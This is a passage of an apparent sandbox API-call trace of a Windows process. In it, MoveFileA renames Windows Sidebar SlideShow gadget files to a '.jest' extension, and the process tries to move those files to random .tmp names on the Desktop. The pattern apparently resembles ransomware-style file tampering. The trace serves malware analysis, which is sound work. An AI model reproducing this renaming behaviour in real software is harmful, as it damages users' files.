(hWnd=0x30268) returned 0 [0127.173] Sleep (dwMilliseconds=0x0) [0127.173] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\drag.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png.jest" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\drag.png.jest")) returned 0 [0127.173] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png", lpFilePart=0x18e6d8*="drag.png") returned 0x42 [0127.173] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d3f607d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7575, dwReserved0=0x57, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 0x143ce48 [0127.174] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.174] VarBstrFromR4 (in: fltIn=0x47944586, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.05") returned 0x0 [0127.175] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.175] GetTickCount () returned 0x11523c7 [0127.175] GetTickCount () returned 0x11523c7 [0127.175] CoFreeUnusedLibraries () [0127.175] GetTickCount () returned 0x11523c7 [0127.175] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.175] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.175] GetTickCount () returned 0x11523c7 [0127.175] IsWindowVisible (hWnd=0x30268) returned 0 [0127.175] Sleep (dwMilliseconds=0x0) [0127.176] GetFullPathNameA (in: lpFileName="fqciSepucr6hDOOaSG501jSsX_z5lqxmu19qCrxZj8IdI530n9YpN3qqAs8YZCkESpL7MzY9b8LCW8Ok5nqGutaG_e7zNPi Pcyk.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fqciSepucr6hDOOaSG501jSsX_z5lqxmu19qCrxZj8IdI530n9YpN3qqAs8YZCkESpL7MzY9b8LCW8Ok5nqGutaG_e7zNPi Pcyk.tmp", lpFilePart=0x18e708*="fqciSepucr6hDOOaSG501jSsX_z5lqxmu19qCrxZj8IdI530n9YpN3qqAs8YZCkESpL7MzY9b8LCW8Ok5nqGutaG_e7zNPi Pcyk.tmp") returned 0x8e [0127.176] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png", lpFilePart=0x18e708*="drag.png") returned 0x42 [0127.176] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\drag.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fqciSepucr6hDOOaSG501jSsX_z5lqxmu19qCrxZj8IdI530n9YpN3qqAs8YZCkESpL7MzY9b8LCW8Ok5nqGutaG_e7zNPi Pcyk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fqcisepucr6hdooasg501jssx_z5lqxmu19qcrxzj8idi530n9ypn3qqas8yzckespl7mzy9b8lcw8ok5nqgutag_e7znpi pcyk.tmp")) returned 0 [0127.176] GetLastError () returned 0x5 [0127.176] GetLastError () returned 0x5 [0127.176] SetLastError (dwErrCode=0x5) [0127.176] GetLastError () returned 0x5 [0127.177] SetLastError (dwErrCode=0x5) [0127.177] GetLastError () returned 0x5 [0127.177] SetLastError (dwErrCode=0x5) [0127.177] GetFullPathNameA (in: lpFileName="fqciSepucr6hDOOaSG501jSsX_z5lqxmu19qCrxZj8IdI530n9YpN3qqAs8YZCkESpL7MzY9b8LCW8Ok5nqGutaG_e7zNPi Pcyk.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fqciSepucr6hDOOaSG501jSsX_z5lqxmu19qCrxZj8IdI530n9YpN3qqAs8YZCkESpL7MzY9b8LCW8Ok5nqGutaG_e7zNPi Pcyk.tmp", lpFilePart=0x18e6e4*="fqciSepucr6hDOOaSG501jSsX_z5lqxmu19qCrxZj8IdI530n9YpN3qqAs8YZCkESpL7MzY9b8LCW8Ok5nqGutaG_e7zNPi Pcyk.tmp") returned 0x8e [0127.177] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fqciSepucr6hDOOaSG501jSsX_z5lqxmu19qCrxZj8IdI530n9YpN3qqAs8YZCkESpL7MzY9b8LCW8Ok5nqGutaG_e7zNPi Pcyk.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x69637166, cFileName="Sepucr6hDOOaSG501jSsX_z5lqxmu19qCrxZj8IdI530n9YpN3qqAs8YZCkESpL7MzY9b8LCW8Ok5nqGutaG_e7zNPi Pcyk.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.177] GetLastError () returned 0x2 [0127.177] GetLastError () returned 0x2 [0127.177] SetLastError (dwErrCode=0x2) [0127.178] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.178] GetTickCount () returned 0x11523c7 [0127.178] GetTickCount () returned 0x11523c7 [0127.178] CoFreeUnusedLibraries () [0127.178] GetTickCount () returned 0x11523c7 [0127.178] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.178] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.178] GetTickCount () returned 0x11523c7 [0127.178] IsWindowVisible (hWnd=0x30268) returned 0 [0127.178] Sleep (dwMilliseconds=0x0) [0127.178] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\icon.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\icon.png.jest")) returned 0 [0127.178] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png", lpFilePart=0x18e6d8*="icon.png") returned 0x48 [0127.179] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb0ffddc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb0ffddc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb0ffddc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2732, dwReserved0=0x57, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 0x143ce48 [0127.179] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.179] VarBstrFromR4 (in: fltIn=0x47944586, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.05") returned 0x0 [0127.180] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.180] GetTickCount () returned 0x11523d6 [0127.180] GetTickCount () returned 0x11523d6 [0127.180] CoFreeUnusedLibraries () [0127.180] GetTickCount () returned 0x11523d6 [0127.180] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.180] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.180] GetTickCount () returned 0x11523d6 [0127.180] IsWindowVisible (hWnd=0x30268) returned 0 [0127.180] Sleep (dwMilliseconds=0x0) [0127.181] GetFullPathNameA (in: lpFileName="3O5WVrWZwcFcREOff9gMsO HCy8kQ34oQB8vjUIHYP80 dcdnc89mXjiMPKc-YKGko6oIDTVX9-aoi-b9q6xOKCtjfLhl5IfDGvY.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3O5WVrWZwcFcREOff9gMsO HCy8kQ34oQB8vjUIHYP80 dcdnc89mXjiMPKc-YKGko6oIDTVX9-aoi-b9q6xOKCtjfLhl5IfDGvY.tmp", lpFilePart=0x18e708*="3O5WVrWZwcFcREOff9gMsO HCy8kQ34oQB8vjUIHYP80 dcdnc89mXjiMPKc-YKGko6oIDTVX9-aoi-b9q6xOKCtjfLhl5IfDGvY.tmp") returned 0x8e [0127.181] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png", lpFilePart=0x18e708*="icon.png") returned 0x48 [0127.181] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\icon.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3O5WVrWZwcFcREOff9gMsO HCy8kQ34oQB8vjUIHYP80 dcdnc89mXjiMPKc-YKGko6oIDTVX9-aoi-b9q6xOKCtjfLhl5IfDGvY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3o5wvrwzwcfcreoff9gmso hcy8kq34oqb8vjuihyp80 dcdnc89mxjimpkc-ykgko6oidtvx9-aoi-b9q6xokctjflhl5ifdgvy.tmp")) returned 0 [0127.181] GetLastError () returned 0x5 [0127.181] GetLastError () returned 0x5 [0127.181] SetLastError (dwErrCode=0x5) [0127.181] GetLastError () returned 0x5 [0127.182] SetLastError (dwErrCode=0x5) [0127.182] GetLastError () returned 0x5 [0127.182] SetLastError (dwErrCode=0x5) [0127.182] GetFullPathNameA (in: lpFileName="3O5WVrWZwcFcREOff9gMsO HCy8kQ34oQB8vjUIHYP80 dcdnc89mXjiMPKc-YKGko6oIDTVX9-aoi-b9q6xOKCtjfLhl5IfDGvY.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3O5WVrWZwcFcREOff9gMsO HCy8kQ34oQB8vjUIHYP80 dcdnc89mXjiMPKc-YKGko6oIDTVX9-aoi-b9q6xOKCtjfLhl5IfDGvY.tmp", lpFilePart=0x18e6e4*="3O5WVrWZwcFcREOff9gMsO HCy8kQ34oQB8vjUIHYP80 dcdnc89mXjiMPKc-YKGko6oIDTVX9-aoi-b9q6xOKCtjfLhl5IfDGvY.tmp") returned 0x8e [0127.182] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3O5WVrWZwcFcREOff9gMsO HCy8kQ34oQB8vjUIHYP80 dcdnc89mXjiMPKc-YKGko6oIDTVX9-aoi-b9q6xOKCtjfLhl5IfDGvY.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x57354f33, cFileName="VrWZwcFcREOff9gMsO HCy8kQ34oQB8vjUIHYP80 dcdnc89mXjiMPKc-YKGko6oIDTVX9-aoi-b9q6xOKCtjfLhl5IfDGvY.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.182] GetLastError () returned 0x2 [0127.182] GetLastError () returned 0x2 [0127.182] SetLastError (dwErrCode=0x2) [0127.183] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.183] GetTickCount () returned 0x11523d6 [0127.183] GetTickCount () returned 0x11523d6 [0127.183] CoFreeUnusedLibraries () [0127.183] GetTickCount () returned 0x11523d6 [0127.183] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.183] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.183] GetTickCount () returned 0x11523d6 [0127.183] IsWindowVisible (hWnd=0x30268) returned 0 [0127.183] Sleep (dwMilliseconds=0x0) [0127.183] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\icon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png.jest" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\icon.png.jest")) returned 0 [0127.183] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png", lpFilePart=0x18e6d8*="icon.png") returned 0x42 [0127.184] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d442339, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d442339, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d442339, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2732, dwReserved0=0x57, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 0x143ce48 [0127.184] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.184] VarBstrFromR4 (in: fltIn=0x47944588, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.06") returned 0x0 [0127.185] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.185] GetTickCount () returned 0x11523d6 [0127.185] GetTickCount () returned 0x11523d6 [0127.185] CoFreeUnusedLibraries () [0127.185] GetTickCount () returned 0x11523d6 [0127.185] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.185] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.185] GetTickCount () returned 0x11523d6 [0127.185] IsWindowVisible (hWnd=0x30268) returned 0 [0127.185] Sleep (dwMilliseconds=0x0) [0127.185] GetFullPathNameA (in: lpFileName="qucGkEctmXa4n4boFABbqWKbGr9Lmno4eTVTJLVKZkjR9dzjLHbpZzA0dDtQ YN0GZI6fpSFU20r8iEhuBuSIvate1yzd7 3RW3f.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qucGkEctmXa4n4boFABbqWKbGr9Lmno4eTVTJLVKZkjR9dzjLHbpZzA0dDtQ YN0GZI6fpSFU20r8iEhuBuSIvate1yzd7 3RW3f.tmp", lpFilePart=0x18e708*="qucGkEctmXa4n4boFABbqWKbGr9Lmno4eTVTJLVKZkjR9dzjLHbpZzA0dDtQ YN0GZI6fpSFU20r8iEhuBuSIvate1yzd7 3RW3f.tmp") returned 0x8e [0127.186] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png", lpFilePart=0x18e708*="icon.png") returned 0x42 [0127.186] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\icon.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qucGkEctmXa4n4boFABbqWKbGr9Lmno4eTVTJLVKZkjR9dzjLHbpZzA0dDtQ YN0GZI6fpSFU20r8iEhuBuSIvate1yzd7 3RW3f.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qucgkectmxa4n4bofabbqwkbgr9lmno4etvtjlvkzkjr9dzjlhbpzza0ddtq yn0gzi6fpsfu20r8iehubusivate1yzd7 3rw3f.tmp")) returned 0 [0127.186] GetLastError () returned 0x5 [0127.186] GetLastError () returned 0x5 [0127.186] SetLastError (dwErrCode=0x5) [0127.186] GetLastError () returned 0x5 [0127.186] SetLastError (dwErrCode=0x5) [0127.186] GetLastError () returned 0x5 [0127.186] SetLastError (dwErrCode=0x5) [0127.186] GetFullPathNameA (in: lpFileName="qucGkEctmXa4n4boFABbqWKbGr9Lmno4eTVTJLVKZkjR9dzjLHbpZzA0dDtQ YN0GZI6fpSFU20r8iEhuBuSIvate1yzd7 3RW3f.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qucGkEctmXa4n4boFABbqWKbGr9Lmno4eTVTJLVKZkjR9dzjLHbpZzA0dDtQ YN0GZI6fpSFU20r8iEhuBuSIvate1yzd7 3RW3f.tmp", lpFilePart=0x18e6e4*="qucGkEctmXa4n4boFABbqWKbGr9Lmno4eTVTJLVKZkjR9dzjLHbpZzA0dDtQ YN0GZI6fpSFU20r8iEhuBuSIvate1yzd7 3RW3f.tmp") returned 0x8e [0127.186] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qucGkEctmXa4n4boFABbqWKbGr9Lmno4eTVTJLVKZkjR9dzjLHbpZzA0dDtQ YN0GZI6fpSFU20r8iEhuBuSIvate1yzd7 3RW3f.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x47637571, cFileName="kEctmXa4n4boFABbqWKbGr9Lmno4eTVTJLVKZkjR9dzjLHbpZzA0dDtQ YN0GZI6fpSFU20r8iEhuBuSIvate1yzd7 3RW3f.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.187] GetLastError () returned 0x2 [0127.187] GetLastError () returned 0x2 [0127.187] SetLastError (dwErrCode=0x2) [0127.187] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.187] GetTickCount () returned 0x11523d6 [0127.187] GetTickCount () returned 0x11523d6 [0127.187] CoFreeUnusedLibraries () [0127.187] GetTickCount () returned 0x11523d6 [0127.187] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.187] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.187] GetTickCount () returned 0x11523d6 [0127.188] IsWindowVisible (hWnd=0x30268) returned 0 [0127.188] Sleep (dwMilliseconds=0x0) [0127.188] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\gadget.xml.jest")) returned 0 [0127.188] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e6d8*="gadget.xml") returned 0x50 [0127.188] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3dd, dwReserved0=0x57, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 0x143ce48 [0127.188] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.189] VarBstrFromR4 (in: fltIn=0x47944588, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.06") returned 0x0 [0127.189] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.189] GetTickCount () returned 0x11523d6 [0127.189] GetTickCount () returned 0x11523d6 [0127.189] CoFreeUnusedLibraries () [0127.189] GetTickCount () returned 0x11523d6 [0127.189] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.189] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.189] GetTickCount () returned 0x11523d6 [0127.190] IsWindowVisible (hWnd=0x30268) returned 0 [0127.190] Sleep (dwMilliseconds=0x0) [0127.191] GetFullPathNameA (in: lpFileName="VkB95HMRC0H0-lszHBU_qyCXlXKU2bbGUmXeKfopzbzbUBjKjfuw0EdqBGbQ2cseFS35AwQuV7WteWrRuvFs5h y6q-XOFLqeGBc.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VkB95HMRC0H0-lszHBU_qyCXlXKU2bbGUmXeKfopzbzbUBjKjfuw0EdqBGbQ2cseFS35AwQuV7WteWrRuvFs5h y6q-XOFLqeGBc.tmp", lpFilePart=0x18e708*="VkB95HMRC0H0-lszHBU_qyCXlXKU2bbGUmXeKfopzbzbUBjKjfuw0EdqBGbQ2cseFS35AwQuV7WteWrRuvFs5h y6q-XOFLqeGBc.tmp") returned 0x8e [0127.191] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e708*="gadget.xml") returned 0x50 [0127.191] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VkB95HMRC0H0-lszHBU_qyCXlXKU2bbGUmXeKfopzbzbUBjKjfuw0EdqBGbQ2cseFS35AwQuV7WteWrRuvFs5h y6q-XOFLqeGBc.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vkb95hmrc0h0-lszhbu_qycxlxku2bbgumxekfopzbzbubjkjfuw0edqbgbq2csefs35awquv7wtewrruvfs5h y6q-xoflqegbc.tmp")) returned 0 [0127.191] GetLastError () returned 0x5 [0127.191] GetLastError () returned 0x5 [0127.191] SetLastError (dwErrCode=0x5) [0127.191] GetLastError () returned 0x5 [0127.192] SetLastError (dwErrCode=0x5) [0127.192] GetLastError () returned 0x5 [0127.192] SetLastError (dwErrCode=0x5) [0127.192] GetFullPathNameA (in: lpFileName="VkB95HMRC0H0-lszHBU_qyCXlXKU2bbGUmXeKfopzbzbUBjKjfuw0EdqBGbQ2cseFS35AwQuV7WteWrRuvFs5h y6q-XOFLqeGBc.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VkB95HMRC0H0-lszHBU_qyCXlXKU2bbGUmXeKfopzbzbUBjKjfuw0EdqBGbQ2cseFS35AwQuV7WteWrRuvFs5h y6q-XOFLqeGBc.tmp", 